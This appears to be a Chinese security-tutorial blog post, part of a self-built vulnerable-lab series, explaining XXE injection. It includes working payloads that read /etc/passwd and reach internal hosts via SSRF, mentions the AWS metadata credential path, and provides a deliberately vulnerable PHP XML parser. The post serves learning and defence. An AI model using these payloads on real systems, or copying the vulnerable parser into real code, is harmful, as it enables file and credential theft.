iT邦幫忙

第 12 屆 iThome 鐵人賽

DAY 5
4
Security

資安這條路─以自建漏洞環境學習資訊安全系列 第 5

資安這條路 05 - [Injection] Code injection - XML injection

XML external entity (XXE) injection

  • XML external entity injection 也就是 XXE,可以透過惡意的請求查看伺服器的敏感資料,若可以搭配伺服器請求偽造 (SSRF) 攻擊,就可以從 XXE 到進階攻擊內部網路。

  • 漏洞成因

    • 許多網站透過 XML 格式的檔案進行傳輸,而後端所使用的函式庫或後端程式邏輯,針對 XML 處理的解析器預設開啟許多危險的功能,若沒有進行關閉或是限制,可能就會造成 XXE 攻擊。

名詞介紹

  • XML

    • 可延伸標記式語言
    • 儲存和傳輸資料的語言
    • 使用 tag 跟 data
    • 可以自己指定所描述資料的名稱
    • 結構
      • 邏輯結構
      • 實體結構
  • XML 實體

    • XML 中表示 data item 的方式
    • XML 已經預設規範實體
  • DTD ( document type definition ) 文件類型定義

    • XML 聲明用來定義 XML 文件的結構
      • 資料類型或其他資料
    • <!DOCTYPE  開始聲明
    • 可以在文件內部定義( 內部 DTD )或是從外部路徑引入( 外部 DTD )
  • XML自定義實體

    • XML 允許在 DTD 自定義實體。
  • XML 外部實體

    • 使用 SYSREM 定義外部實體
      • 網址
      • 檔案協議 (可能有問題的地方)

XXE 攻擊類型

  1. 透過 XXE 請求敏感資料
    • 定義包含敏感文件內容的外部實體
  2. 透過 XXE 搭配 SSRF 攻擊
    • 定義包含內網路徑的外部實體
  3. 透過 blind XXE 洩漏 out-of-band 資料
  4. 透過 blind XXE 透過錯誤訊息洩漏敏感資訊

透過 XXE 請求敏感資料

  • 可以透過引入或編輯 DOCTYPE 元素,包含文件路徑的外部實體
  • 假設沒有針對 XXE 攻擊進行過濾
    • 以下是一個透過產品編號檢查庫存的 XML
    <?xml version="1.0"?>
    <stockCheck>
        <productId>
            381
        </productId>
    </stockCheck>
    
    
    • 我們可以引入外部檔案進型敏感資料
    <?xml version="1.0"?>
    <!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>
    <stockCheck>
        <productId>
            &b;
        </productId>
    </stockCheck>
    
    
    • 定義外部實體
      • &b; 值為 file:///etc/passwd
    • 這時候就會回傳 /etc/passwd 的值
    • LAB

透過 XXE 搭配 SSRF 攻擊

  • 可以透過引入或編輯 DOCTYPE 元素,包含伺服器內部網路的網址的外部實體
  • 以下可以引入的外部實體
    <?xml version="1.0"?>
    <!DOCTYPE test [ <!ENTITY b SYSTEM "http://internal.feifei.com/"> ]>
    <stockCheck>
        <productId>
            &b;
        </productId>
    </stockCheck>
    
    
  • LAB
  • AWS EC2 metadata endpoint 預設 URL
    • http://169.254.169.254/
    • /latest/meta-data/iam/security-credentials/admin

如何預防XXE漏洞

  • XML 解析函式庫禁用外部實體的解析
    • PHP libxml_disable_entity_loader(true);

參考

自製環境

  • server 資料夾 xml.php
    <?php
    $data = file_get_contents('php://input');
    $test = new SimpleXMLElement($data);
    
    echo $test->name;
    ?>
    
  • docker-compose.yml
    version: "2"
    services:
        web:
            image: php:7-apache
            ports: 
                - "8002:80"
            volumes:
                - ./server:/var/www/html/
    
    

上一篇
資安這條路 04 - [Injection] SQL injection
下一篇
資安這條路 06 - [Injection] Code injection - Local File Inclusion, Remote File Inclusion
系列文
資安這條路─以自建漏洞環境學習資訊安全31
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言